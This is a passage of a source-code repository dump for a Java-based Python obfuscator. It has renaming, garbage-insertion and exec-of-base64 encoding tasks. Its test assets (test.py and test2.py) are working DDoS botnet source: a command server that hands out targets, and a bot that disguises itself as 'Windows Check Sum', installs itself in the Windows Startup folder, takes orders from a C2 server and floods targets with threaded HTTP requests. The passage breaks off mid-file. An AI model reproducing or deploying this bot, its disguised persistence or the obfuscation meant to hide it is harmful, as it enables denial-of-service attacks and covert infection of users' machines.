17 | * @see org.madmeg.api.FileLoader 18 | * @author Madmegsox1 19 | * @since 09/12/2021 20 | */ 21 | 22 | public final class Loader implements FileLoader { 23 | 24 | public static SplitFile FILE; 25 | 26 | public Loader(File file){ 27 | if(!file.exists()){ 28 | Core.LOGGER.printError("The file " + file.getName() + " doesnt exist"); 29 | System.exit(-1); 30 | } 31 | Core.LOGGER.printSuccess("Found the file"); 32 | load(file); 33 | Core.LOGGER.printSuccess("Loaded the file"); 34 | } 35 | 36 | /** 37 | * @param file The file being loaded by the manager 38 | */ 39 | @Override 40 | public void load(File file) { 41 | try { 42 | ArrayList lines = new ArrayList<>(); 43 | Scanner sc = new Scanner(file); 44 | while (sc.hasNextLine()){ 45 | String line = sc.nextLine(); 46 | if(line.replace("\n", "").equals(""))continue; 47 | lines.add(line); 48 | } 49 | FILE = new SplitFile(lines); 50 | lines.clear(); 51 | }catch (final FileNotFoundException e){ 52 | e.printStackTrace(); 53 | } 54 | } 55 | 56 | /** 57 | * @param path The path that the manager will save the file if needed 58 | */ 59 | @Override 60 | public void save(String path) { 61 | try { 62 | Core.LOGGER.printSuccess("Saving File"); 63 | File obfFile = new File(path); 64 | obfFile.createNewFile(); 65 | FileWriter writer = new FileWriter(obfFile); 66 | for(String line : FILE.lines){ 67 | writer.write(line); 68 | writer.write("\n"); 69 | } 70 | writer.close(); 71 | Core.LOGGER.printSuccess("Saved File"); 72 | } catch (IOException e) { 73 | e.printStackTrace(); 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /assets/test.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | import os 4 | 5 | import subprocess 6 | 7 | 8 | 9 | class Test(): 10 | def __init__(self): 11 | print("test") 12 | 13 | 14 | deep = Test() 15 | 16 | 17 | def main(): 18 | 19 | 20 | 21 | 22 | menu = input(""" 23 | ------------------------------ 24 | 1. Attack 25 | 2. Ping ips 26 | 3. Exit 27 | ------------------------------ 28 | > """) 29 | 30 | if menu == "1": # attack 31 | target = input(">Please input the IP or the Host name to Attack>> ") 32 | port_ = input(">Please input the port (80 by default)>> ") 33 | if port_ == "": 34 | port_ = "80" 35 | threads = input(">Please input the numbrer of threads you want>> ") 36 | 37 | sendData = (target + ":" + port_ + ":" + threads) 38 | 39 | print("------------------------------") 40 | print("Ip's Connected: ") 41 | 42 | 43 | host = ""#put your server ip here 44 | port_ = 6969 45 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 46 | s.bind((host, port_)) 47 | sendData = sendData.encode("utf8") 48 | while True: 49 | s.listen(10) 50 | conn, addr = s.accept() 51 | print("[+] Connected by: " + str(addr)) 52 | conn.sendall(sendData) 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | elif menu == "2": #ping ips 64 | 65 | print("------------------------------") 66 | File = input(">Plese input the name of the .txt of ips>> ") 67 | print("------------------------------") 68 | ips = [] 69 | online = 0 70 | try: 71 | f = open(File, "r") 72 | except: 73 | print("[-] ERROR file not found!") 74 | main() 75 | 76 | for lines in f: 77 | ips.append(lines) 78 | 79 | f.close() 80 | for i in range (len(ips)): 81 | ip = ips[i] 82 | 83 | response = os.system("ping -n 1 " + ip) 84 | 85 | if response == 0: 86 | print("[+] " + ip + " is ONLINE") 87 | online = online + 1 88 | else: 89 | print("[-] " + ip + " is OFFLINE!") 90 | 91 | print("------------------------------") 92 | print("Totel Online IPs: " + str(online)) 93 | main() 94 | 95 | else: 96 | exit() 97 | 98 | main() 99 | 100 | def test(): 101 | print("asd") 102 | 103 | deez = test() 104 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/impl/tasks/EncodeCode.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.impl.tasks; 2 | 3 | import org.madmeg.api.obfuscator.EncodingUtils; 4 | import org.madmeg.api.obfuscator.RandomUtils; 5 | import org.madmeg.api.obfuscator.SplitFile; 6 | import org.madmeg.api.obfuscator.tasks.Task; 7 | import org.madmeg.impl.Core; 8 | 9 | import java.util.ArrayList; 10 | 11 | /** 12 | * @author Madmegsox1 13 | * @since 24/12/2021 14 | */ 15 | 16 | public final class EncodeCode implements Task { 17 | 18 | private final ArrayList lines; 19 | 20 | public EncodeCode(SplitFile file){ 21 | this.lines = file.lines; 22 | } 23 | /** 24 | *

How it works

25 | *

26 | * The obfuscator will create a string for the file it then will encode the hole file into base64 or bin, 27 | * it cannot encode into hex if you use any other encoding types the encodes imports ect. The obfuscator then 28 | * replaces every line with this encoded string. It then does {@code exec("encoded string")} 29 | *

30 | */ 31 | @Override 32 | public void completeTask() { 33 | final StringBuilder toEncoded = new StringBuilder(); 34 | 35 | for(String line : lines){ 36 | toEncoded.append(line).append("\n"); 37 | } 38 | String encoded = ""; 39 | switch (Core.CONFIG.getEncoderType().toLowerCase()){ 40 | case "hex" -> { 41 | Core.LOGGER.printError("Cannot encode code with hex. Please edit your config!"); 42 | return; 43 | } 44 | case "base64" -> { 45 | encoded = (EncodingUtils.stringToBase64(toEncoded.toString())); 46 | } 47 | case "bin" -> { 48 | encoded = (EncodingUtils.prettyBinary(EncodingUtils.stringToBinary(toEncoded.toString()), 8, Core.CONFIG.getBinarySplitter())); 49 | } 50 | } 51 | 52 | lines.clear(); 53 | final String name = RandomUtils.genRandomString(Core.CONFIG.getNameLength()); 54 | lines.add(name + " = " + '"' + encoded + '"'); 55 | if(Core.CONFIG.getEncoderType().equals("base64")){ 56 | lines.add("import base64"); 57 | } 58 | 59 | final StringBuilder sb = new StringBuilder(); 60 | sb.append("exec("); 61 | switch (Core.CONFIG.getEncoderType().toLowerCase()){ 62 | case "base64" -> sb.append("base64.b64decode(").append(name).append("))\n"); 63 | case "bin" -> sb.append("''.join(chr(int(").append(name).append(".replace('") 64 | .append(Core.CONFIG.getBinarySplitter()).append("', '')[i*0x0008:i*0x0008+0x0008],(0x0003 - 0x0001))) for i in range(len(") 65 | .append(name).append(".replace('") 66 | .append(Core.CONFIG.getBinarySplitter()).append("', ''))//(0x0004 + 0x0004))))\n"); 67 | } 68 | lines.add(sb.toString()); 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /gradlew.bat: -------------------------------------------------------------------------------- 1 | @rem 2 | @rem Copyright 2015 the original author or authors. 3 | @rem 4 | @rem Licensed under the Apache License, Version 2.0 (the "License"); 5 | @rem you may not use this file except in compliance with the License. 6 | @rem You may obtain a copy of the License at 7 | @rem 8 | @rem https://www.apache.org/licenses/LICENSE-2.0 9 | @rem 10 | @rem Unless required by applicable law or agreed to in writing, software 11 | @rem distributed under the License is distributed on an "AS IS" BASIS, 12 | @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | @rem See the License for the specific language governing permissions and 14 | @rem limitations under the License. 15 | @rem 16 | 17 | @if "%DEBUG%" == "" @echo off 18 | @rem ########################################################################## 19 | @rem 20 | @rem Gradle startup script for Windows 21 | @rem 22 | @rem ########################################################################## 23 | 24 | @rem Set local scope for the variables with windows NT shell 25 | if "%OS%"=="Windows_NT" setlocal 26 | 27 | set DIRNAME=%~dp0 28 | if "%DIRNAME%" == "" set DIRNAME=. 29 | set APP_BASE_NAME=%~n0 30 | set APP_HOME=%DIRNAME% 31 | 32 | @rem Resolve any "." and ".." in APP_HOME to make it shorter. 33 | for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi 34 | 35 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 36 | set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" 37 | 38 | @rem Find java.exe 39 | if defined JAVA_HOME goto findJavaFromJavaHome 40 | 41 | set JAVA_EXE=java.exe 42 | %JAVA_EXE% -version >NUL 2>&1 43 | if "%ERRORLEVEL%" == "0" goto execute 44 | 45 | echo. 46 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 47 | echo. 48 | echo Please set the JAVA_HOME variable in your environment to match the 49 | echo location of your Java installation. 50 | 51 | goto fail 52 | 53 | :findJavaFromJavaHome 54 | set JAVA_HOME=%JAVA_HOME:"=% 55 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 56 | 57 | if exist "%JAVA_EXE%" goto execute 58 | 59 | echo. 60 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 61 | echo. 62 | echo Please set the JAVA_HOME variable in your environment to match the 63 | echo location of your Java installation. 64 | 65 | goto fail 66 | 67 | :execute 68 | @rem Setup the command line 69 | 70 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 71 | 72 | 73 | @rem Execute Gradle 74 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* 75 | 76 | :end 77 | @rem End local scope for the variables with windows NT shell 78 | if "%ERRORLEVEL%"=="0" goto mainEnd 79 | 80 | :fail 81 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 82 | rem the _cmd.exe /c_ return code! 83 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 84 | exit /b 1 85 | 86 | :mainEnd 87 | if "%OS%"=="Windows_NT" endlocal 88 | 89 | :omega 90 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/impl/tasks/EncodeString.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.impl.tasks; 2 | 3 | import org.madmeg.api.obfuscator.EncodingUtils; 4 | import org.madmeg.api.obfuscator.FindString; 5 | import org.madmeg.api.obfuscator.SplitFile; 6 | import org.madmeg.api.obfuscator.tasks.Task; 7 | import org.madmeg.impl.Core; 8 | 9 | import java.util.ArrayList; 10 | import java.util.HashMap; 11 | import java.util.Map; 12 | 13 | /** 14 | * @author Madmegsox1 15 | * @since 29/12/2021 16 | * 17 | * only works with one string per line, easy fix but haven't got round to it yet 18 | */ 19 | 20 | public final class EncodeString implements Task { 21 | 22 | private final ArrayList lines; 23 | 24 | public EncodeString(SplitFile file){ 25 | this.lines = file.lines; 26 | } 27 | 28 | /** 29 | *

How it works

30 | *

31 | * iterates through each line and looks for strings, The obfuscator then encodes the string into hex, bin or 32 | * base64 depending on the config, it will then replace the string with the encoded string 33 | *

34 | */ 35 | @Override 36 | public void completeTask() { 37 | int i = 0; 38 | Map renameMap = new HashMap<>(); 39 | for(String line : lines){ 40 | 41 | final FindString findString = new FindString(line, true); 42 | final FindString replaceString = new FindString(line, false); 43 | 44 | if(findString.getFoundLine() == null || findString.getFoundLine().isEmpty()){ 45 | i++; 46 | continue; 47 | } 48 | 49 | int x = 0; 50 | for(String s : findString.getFoundLine()){ 51 | String encoded = ""; 52 | switch (Core.CONFIG.getEncoderType().toLowerCase()){ 53 | case "hex" -> encoded = "(bytes.fromhex(('" + (EncodingUtils.stringToHex(replaceString.getFoundLine().get(x)).replaceFirst("^0*", "")) + "').replace('', ''))).decode('utf-8')"; 54 | case "base64" -> encoded = "base64.b64decode('" + (EncodingUtils.stringToBase64(replaceString.getFoundLine().get(x))) + "')"; 55 | case "bin" -> { 56 | encoded = "''.join(chr(int(('"; 57 | encoded += (EncodingUtils.prettyBinary(EncodingUtils.stringToBinary(replaceString.getFoundLine().get(x)), 8, Core.CONFIG.getBinarySplitter())); 58 | encoded += "').replace('" + Core.CONFIG.getBinarySplitter() + "', '')"; 59 | encoded += "[i*0x0008:i*0x0008+0x0008],(0x0003 - 0x0001))) for i in range(len(('"; 60 | encoded += (EncodingUtils.prettyBinary(EncodingUtils.stringToBinary(replaceString.getFoundLine().get(x)), 8, Core.CONFIG.getBinarySplitter())); 61 | encoded += "').replace('" + Core.CONFIG.getBinarySplitter() + "', ''))"; 62 | encoded += "//(0x0004 + 0x0004)))"; 63 | } 64 | } 65 | x++; 66 | line = line.replace(s, encoded); 67 | } 68 | 69 | 70 | renameMap.put(i, line); 71 | i++; 72 | } 73 | 74 | for(int index : renameMap.keySet()){ 75 | lines.remove(index); 76 | lines.add(index, renameMap.get(index)); 77 | } 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /assets/test2.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import socket 3 | import time 4 | import shutil 5 | import getpass 6 | import sys 7 | import os 8 | 9 | 10 | global count 11 | 12 | count = 0 13 | 14 | 15 | def main(): 16 | 17 | 18 | global count 19 | count = count + 1 20 | 21 | global target 22 | global port_ 23 | global threads 24 | global Continue 25 | global connected 26 | 27 | 28 | if count <= 1: 29 | Continue = False 30 | Lll = getpass.getuser() 31 | LLL1 = "/Users/" + Lll + "/AppData/Local/Microsoft/WindowsApps" 32 | lll = sys.argv[0] 33 | lll1 = lll.split("\\") 34 | lll = lll.replace("\\\\", "/") 35 | name1 = lll1[(len(lll1) - 1)] 36 | 37 | 38 | try: 39 | shutil.copy(lll, LLL1) 40 | name = LLL1+"/"+str(name1) 41 | os.rename(name, LLL1+"/"+"Windows Check Sum.pyw") 42 | except: 43 | asdasd = False 44 | 45 | 46 | llllll1111l = '/Users/' + Lll + '/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup' 47 | with open(llllll1111l + "/" + "Windows check sum.bat", "w+") as f: 48 | f.write('start '+ "C:\\Users\\" + Lll + "\\AppData\\Local\\Microsoft\\WindowsApps\\Windows Check Sum.pyw") 49 | 50 | def con(): 51 | global connected 52 | global Continue 53 | 54 | ililil111 = '' #put your server ip here 55 | lllLLLLLLL = 6969 #put your port here 56 | if Continue == False: 57 | connected = False 58 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 59 | while connected == False: 60 | try: 61 | s.connect((ililil111, lllLLLLLLL)) 62 | connected = True 63 | Continue = True 64 | data = s.recv(1024) 65 | data = data.decode("utf8") 66 | Based = {"data":data, "connected":connected} 67 | s.close() 68 | return Based 69 | except: 70 | print("error") 71 | Continue = False 72 | connected = False 73 | time.sleep(1) 74 | def attack(): 75 | global target 76 | global port_ 77 | global threads 78 | global Continue 79 | global connected 80 | while Continue == True: 81 | if connected == False: 82 | Continue = False 83 | try: 84 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 85 | s.connect((target, port_)) 86 | s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port_)) 87 | s.close() 88 | except: 89 | Continue = False 90 | connected = False 91 | 92 | 93 | data2 = con() 94 | 95 | if count <= 1: 96 | asd = data2["data"] 97 | asd = asd.split(":") 98 | target = asd[0] 99 | port_ = int(asd[1]) 100 | threads = asd[2] 101 | 102 | print(target + " " + str(port_) + " " + threads) 103 | if connected == True: 104 | for i in range(int(threads)): 105 | thread = threading.Thread(target=attack) 106 | thread.start() 107 | 108 | if connected == False: 109 | main() 110 | main() -------------------------------------------------------------------------------- /src/main/java/org/madmeg/impl/Core.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.impl; 2 | 3 | import org.madmeg.api.logger.Logger; 4 | import org.madmeg.api.obfuscator.Loader; 5 | import org.madmeg.api.obfuscator.tasks.TaskFactory; 6 | import org.madmeg.api.plugin.PluginLoader; 7 | import org.madmeg.impl.config.Config; 8 | import org.madmeg.impl.config.ConfigLoader; 9 | import org.madmeg.impl.gui.Gui; 10 | 11 | import java.io.File; 12 | 13 | /** 14 | *

15 | * The main Function is ran by the command line. 16 | *

17 | *

18 | * To run the this function in command line you need java 15 installed 19 | * then you will need to run the command {@code java -jar 'THIS JAR NAME'.jar 'DIR TO CONFIG FILE'}. 20 | *

21 | * 22 | * 23 | * @author 0x0001 24 | * @author Madmegsox1 25 | * @since 09/12/2021 26 | * @version 1.1.1 27 | */ 28 | 29 | public final class Core { 30 | 31 | private static final String TITLE_TEXT= """ 32 | ____ __ __ ______ __ __ ___ ____ ___ ____ _____ __ __ _____ __ ____ ______ ____ ___ ____ \s 33 | | \\| | || || | | / \\ | \\ / \\ | \\ | || | |/ ___/ / ] / || || |/ \\ | \\ \s 34 | | o ) | || || | || || _ | | || o )| __|| | ( \\_ / / | o || | | || || _ | \s 35 | | _/| ~ ||_| |_|| _ || O || | | | O || || |_ | | |\\__ |/ / | ||_| |_| | || O || | | \s 36 | | | |___, | | | | | || || | | | || O || _] | : |/ \\ / \\_ | _ | | | | || || | | \s 37 | | | | | | | | | || || | | | || || | | |\\ \\ || | | | | | || || | | \s 38 | |__| |____/ |__| |__|__| \\___/ |__|__| \\___/ |_____||__| \\__,_| \\___|\\____||__|__| |__| |____|\\___/ |__|__| \s 39 | \s"""; 40 | 41 | public static Logger LOGGER = new Logger("MAIN"); 42 | public static ConfigLoader CONFIG_LOADER; 43 | public static Config CONFIG; 44 | public static Loader LOADER; 45 | public static TaskFactory TASK_FACTORY = new TaskFactory(); 46 | public static PluginLoader PLUGIN_LOADER; 47 | 48 | /** 49 | * @param args 1st index should contain path to config file 50 | */ 51 | public static void main(final String[] args){ 52 | Gui gui = new Gui(); 53 | gui.render(); 54 | PLUGIN_LOADER = new PluginLoader(); 55 | Core.PLUGIN_LOADER.init(); 56 | } 57 | 58 | public void oldLoading(){ 59 | System.out.println(TITLE_TEXT); 60 | LOGGER.printSuccess("Loading config"); 61 | //CONFIG_LOADER = new ConfigLoader(new File(args[0])); 62 | CONFIG = CONFIG_LOADER.config; 63 | LOGGER.printSuccess("Loaded config"); 64 | LOGGER.printCommand("Input the path to the .py file you would like to Obfuscate: "); 65 | LOADER = new Loader(new File(LOGGER.readLine())); 66 | 67 | LOGGER.printSuccess("Pooling Obfuscation tasks"); 68 | TASK_FACTORY.poolTasks(); 69 | LOGGER.printSuccess("Pooled Obfuscation tasks"); 70 | 71 | LOGGER.printSuccess("Executing Obfuscation tasks"); 72 | TASK_FACTORY.runTasks(); 73 | LOGGER.printSuccess("Completed all Obfuscation tasks"); 74 | LOADER.save("Output.py"); 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/impl/config/ConfigLoader.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.impl.config; 2 | 3 | import org.madmeg.api.FileLoader; 4 | 5 | import java.io.File; 6 | import java.io.FileNotFoundException; 7 | import java.util.Scanner; 8 | 9 | /** 10 | *

Loads the config into the constructor {@link Config}

11 | * 12 | * @see org.madmeg.api.FileLoader 13 | * @author Madmegsox1 14 | * @since 09/12/2021 15 | */ 16 | 17 | public final class ConfigLoader implements FileLoader { 18 | 19 | public Config config; 20 | 21 | /** 22 | * @param file The config file being loaded into the {@link Config} constructor 23 | */ 24 | public ConfigLoader(File file){ 25 | load(file); 26 | } 27 | 28 | /** 29 | * @param file The file being loaded by the manager 30 | */ 31 | @Override 32 | public void load(File file) { 33 | 34 | config = new Config(); 35 | 36 | try { 37 | Scanner sc = new Scanner(file); 38 | int i = 1; 39 | while (sc.hasNextLine()){ 40 | String line = sc.nextLine(); 41 | if(line.isBlank() || line.startsWith("#"))continue; 42 | String[] data = line.replace(" ", "").split("="); 43 | if(data.length < 2){ 44 | System.err.println("Incorrect Config at line " + i); 45 | System.exit(-1); 46 | } 47 | i++; 48 | 49 | switch (data[0]){ 50 | case "rename_vars" -> config.setVarNames(isTrue(data[1])); 51 | case "rename_functions" -> config.setDefNames(isTrue(data[1])); 52 | case "rename_class" -> config.setClassNames(isTrue(data[1])); 53 | case "name_length" -> config.setNameLength(Integer.parseInt(data[1])); 54 | case "name_prefix" -> config.setNamePrefix(data[1]); 55 | case "insert_garbage" -> config.setInsertGarbage(isTrue(data[1])); 56 | case "garbage_amount" -> config.setGarbageAmount(Integer.parseInt(data[1])); 57 | case "garbage_length" -> config.setGarbageLength(Integer.parseInt(data[1])); 58 | case "remove_comments" -> config.setRemoveComments(isTrue(data[1])); 59 | case "encode_imports" -> config.setEncodeImports(isTrue(data[1])); 60 | case "encoded_list_garbage_length" -> config.setEncodedListGarbageLength(Integer.parseInt(data[1])); 61 | case "encoder_type" -> config.setEncoderType(data[1]); 62 | case "binary_splitter" -> config.setBinarySplitter(data[1]); 63 | case "encode_strings" -> config.setEncodeStrings(isTrue(data[1])); 64 | case "encode_code" -> config.setEncodeCode(isTrue(data[1])); 65 | case "encode_ints" -> config.setEncodeInts(isTrue(data[1])); 66 | case "map_path" -> config.setMapPath(data[1]); 67 | } 68 | } 69 | sc.close(); 70 | } catch (final FileNotFoundException e) { 71 | e.printStackTrace(); 72 | } 73 | } 74 | 75 | /** 76 | * @param val the sting value 77 | * @return true if the string value equals true 78 | */ 79 | private boolean isTrue(String val){ 80 | return val.toLowerCase().contains("true") || val.toLowerCase().contains("t") || val.toLowerCase().contains("1"); 81 | } 82 | 83 | /** 84 | * @param path The path that the manager will save the file if needed 85 | */ 86 | @Override 87 | public void save(String path) { 88 | 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/impl/tasks/RenameVars.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.impl.tasks; 2 | 3 | import org.madmeg.api.obfuscator.FindString; 4 | import org.madmeg.api.obfuscator.Mapper; 5 | import org.madmeg.api.obfuscator.RandomUtils; 6 | import org.madmeg.api.obfuscator.SplitFile; 7 | import org.madmeg.api.obfuscator.tasks.Task; 8 | import org.madmeg.api.obfuscator.tasks.elements.RenameObject; 9 | import org.madmeg.impl.Core; 10 | 11 | import java.io.IOException; 12 | import java.util.ArrayList; 13 | import java.util.Collection; 14 | import java.util.HashMap; 15 | import java.util.Map; 16 | import java.util.regex.Matcher; 17 | import java.util.regex.Pattern; 18 | 19 | 20 | /* 21 | there are a few issues with this: 22 | 1. It will replace names that are of strings value not vars 23 | 2. It won't replace vars that are like {conn, addr = s.accept()} or if there is a ',' in the line 24 | */ 25 | 26 | 27 | public final class RenameVars extends Mapper implements Task { 28 | 29 | private final ArrayList lines; 30 | public RenameVars(SplitFile file){ 31 | super("Vars"); 32 | this.lines = file.lines; 33 | } 34 | /** 35 | *

How it works

36 | *

37 | * iterates through each line and looks for {@code [a-zA-Z0-9]* =[^=]} regex the obfuscator then generates 38 | * the new name for the class and maps it the {@link RenameObject} constructor it then renames the var and 39 | * var refs. 40 | *

41 | */ 42 | @Override 43 | public void completeTask() { 44 | addBulkMaps(findVars()); 45 | findRef(maps); 46 | try { 47 | saveMaps(Core.CONFIG.getMapPath()); 48 | } catch (IllegalAccessException | IOException e) { 49 | e.printStackTrace(); 50 | } 51 | } 52 | 53 | private Collection findVars(){ 54 | final Pattern pattern = Pattern.compile("[a-zA-Z0-9]* =[^=]"); 55 | final Pattern wPattern = Pattern.compile("^\s +"); 56 | ArrayList renamedLines = new ArrayList<>(); 57 | for (String line : lines){ 58 | final Matcher matcher = pattern.matcher(line); 59 | final Matcher wMatcher = wPattern.matcher(line); 60 | if(!matcher.find() || line.contains(","))continue; 61 | String oldName = line.split("=")[0].replace("\s", ""); 62 | if(contains(renamedLines, oldName))continue; 63 | String newName = Core.CONFIG.getNamePrefix() + RandomUtils.genRandomString(Core.CONFIG.getNameLength()); 64 | renamedLines.add(new RenameObject(oldName, newName, (wMatcher.find()) ? wMatcher.group() : "")); 65 | } 66 | return renamedLines; 67 | } 68 | 69 | private void findRef(Collection renameObjects) { 70 | final Map map = new HashMap<>(); 71 | int i = 0; 72 | for (String line : lines) { 73 | for (RenameObject name : renameObjects) { 74 | if (!line.contains(name.getOldName())) continue; 75 | 76 | final FindString findString = new FindString(line, false); // shit fix 77 | boolean removedString = false; 78 | if(findString.getFoundLine() != null && findString.getFoundLine().get(0).contains(name.getOldName())){ 79 | line = line.replace(findString.getFoundLine().get(0), "[+|---|.]"); 80 | removedString = true; 81 | } 82 | 83 | line = line.replace(name.getOldName(), name.getNewName()); 84 | 85 | if(removedString){ 86 | line = line.replace("[+|---|.]", findString.getFoundLine().get(0)); 87 | } 88 | map.put(i, line); 89 | } 90 | i++; 91 | } 92 | 93 | 94 | for (int lineIndex : map.keySet()){ 95 | lines.remove(lineIndex); 96 | lines.add(lineIndex, map.get(lineIndex)); 97 | } 98 | } 99 | 100 | private boolean contains(ArrayList renamed, String line){ 101 | for(RenameObject object : renamed){ 102 | if(object.getOldName().equals(line))return true; 103 | } 104 | return false; 105 | } 106 | } 107 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/impl/tasks/RenameClass.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.impl.tasks; 2 | 3 | import org.madmeg.api.obfuscator.FindString; 4 | import org.madmeg.api.obfuscator.Mapper; 5 | import org.madmeg.api.obfuscator.RandomUtils; 6 | import org.madmeg.api.obfuscator.SplitFile; 7 | import org.madmeg.api.obfuscator.tasks.Task; 8 | import org.madmeg.api.obfuscator.tasks.elements.RenameObject; 9 | import org.madmeg.impl.Core; 10 | 11 | import java.io.IOException; 12 | import java.util.ArrayList; 13 | import java.util.Collection; 14 | import java.util.HashMap; 15 | import java.util.Map; 16 | import java.util.regex.Matcher; 17 | import java.util.regex.Pattern; 18 | 19 | public final class RenameClass extends Mapper implements Task { 20 | 21 | private final ArrayList lines; 22 | public RenameClass(SplitFile file){ 23 | super("Classes"); 24 | this.lines = file.lines; 25 | } 26 | 27 | /** 28 | *

How it works

29 | *

30 | * iterates through each line and looks for {@code ^class\s[a-zA-Z0-9]*} regex the obfuscator then generates 31 | * the new name for the class and maps it the {@link RenameObject} constructor it then renames the classes and 32 | * class refs. 33 | *

34 | */ 35 | @Override 36 | public void completeTask() { 37 | addBulkMaps(findFunctions()); 38 | findRef(maps); 39 | try { 40 | saveMaps(Core.CONFIG.getMapPath()); 41 | } catch (IllegalAccessException | IOException e) { 42 | e.printStackTrace(); 43 | } 44 | } 45 | 46 | private Collection findFunctions(){ 47 | final Pattern pattern = Pattern.compile("^class\s[a-zA-Z0-9]*"); 48 | final Pattern wPattern = Pattern.compile("^\s +"); 49 | ArrayList renamesLines = new ArrayList<>(); 50 | for (String line : lines){ 51 | final String tempLine = line.replaceAll("^\s +", ""); 52 | 53 | final Matcher matcher = pattern.matcher(tempLine); 54 | final Matcher wMatcher = wPattern.matcher(line); 55 | 56 | if(!matcher.find())continue; 57 | final String oldName = tempLine.substring(5).split("\\(")[0].replaceAll(" ", ""); 58 | final RenameObject rename = new RenameObject(oldName, Core.CONFIG.getNamePrefix() + RandomUtils.genRandomString(Core.CONFIG.getNameLength()), (wMatcher.find()) ? wMatcher.group() : ""); 59 | renamesLines.add(rename); 60 | } 61 | return renamesLines; 62 | } 63 | 64 | private void findRef(Collection renameObject){ 65 | final Map map = new HashMap<>(); 66 | for(RenameObject name : renameObject){ 67 | final Pattern pattern = Pattern.compile(name.getOldName()+"[(]"); 68 | 69 | int i =0; 70 | 71 | for (String line : lines){ 72 | final String tempLine = line.replaceAll("\s", ""); 73 | final Matcher matcher = pattern.matcher(tempLine); 74 | if(!matcher.find()){ 75 | i++; 76 | continue; 77 | } 78 | 79 | final FindString findString = new FindString(line, false); // shit fix 80 | boolean removedString = false; 81 | if(findString.getFoundLine() != null && findString.getFoundLine().get(0).contains(name.getOldName() + "()")){ 82 | line = line.replace(findString.getFoundLine().get(0), "[+|---|.]"); 83 | removedString = true; 84 | } 85 | 86 | String[] oldLine = line.split("[(]"); 87 | line = oldLine[0]; 88 | line = line.replaceAll(name.getOldName(), name.getNewName() + "()" + ((oldLine[1].contains(":")) ? ":" : "")); 89 | 90 | if(removedString){ 91 | line = line.replace("[+|---|.]", findString.getFoundLine().get(0)); 92 | } 93 | map.put(i, line); 94 | i++; 95 | } 96 | 97 | 98 | } 99 | for (int lineIndex : map.keySet()){ 100 | lines.remove(lineIndex); 101 | lines.add(lineIndex, map.get(lineIndex)); 102 | } 103 | 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/impl/tasks/AddGarbage.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.impl.tasks; 2 | 3 | import org.madmeg.api.obfuscator.RandomUtils; 4 | import org.madmeg.api.obfuscator.SplitFile; 5 | import org.madmeg.api.obfuscator.tasks.Task; 6 | import org.madmeg.impl.Core; 7 | 8 | import java.util.*; 9 | import java.util.regex.Matcher; 10 | import java.util.regex.Pattern; 11 | 12 | public final class AddGarbage implements Task { 13 | private final ArrayList lines; 14 | 15 | public AddGarbage(SplitFile file) { 16 | this.lines = file.lines; 17 | } 18 | 19 | /** 20 | *

How it works

21 | *

22 | * Simple way of doing this, it will go through every line until it meets the line it needs to insert garbage, 23 | * it will then generate a random function filled with garbage. 24 | *

25 | */ 26 | @Override 27 | public void completeTask() { 28 | final Pattern pattern = Pattern.compile("^\s +"); 29 | Map map = new HashMap<>(); 30 | int i = 0; 31 | int skips = 0; 32 | for(String line : lines){ 33 | if(skips >= 1){ 34 | skips++; 35 | i++; 36 | if(skips == Core.CONFIG.getGarbageAmount() + 1){ 37 | skips = 0; 38 | } 39 | continue; 40 | } 41 | else skips = 0; 42 | String whiteSpace = null; 43 | final Matcher matcher = pattern.matcher(line); 44 | if (matcher.find()) { 45 | whiteSpace = matcher.group(); 46 | } 47 | map.put(i, line + "\n" + ((whiteSpace != null) ? whiteSpace : "") + genFunction(((whiteSpace != null) ? whiteSpace : ""))); 48 | i++; 49 | skips = 1; 50 | } 51 | 52 | for(int lineIndex : map.keySet()){ 53 | lines.remove(lineIndex); 54 | lines.add(lineIndex, map.get(lineIndex)); 55 | } 56 | } 57 | 58 | private String genFunction(String ws) { 59 | StringBuilder argument = new StringBuilder(); 60 | 61 | final String functionName = Core.CONFIG.getNamePrefix() + RandomUtils.genRandomString(Core.CONFIG.getNameLength()); 62 | argument.append("def ").append(functionName).append("():\n"); 63 | String randomRVal = Core.CONFIG.getNamePrefix() + RandomUtils.genRandomString(Core.CONFIG.getNameLength()); 64 | int location = RandomUtils.genRandomInt(1, Core.CONFIG.getGarbageLength() - 1); 65 | for (int i = 0; i < Core.CONFIG.getGarbageLength(); i++) { 66 | argument.append("\t"); 67 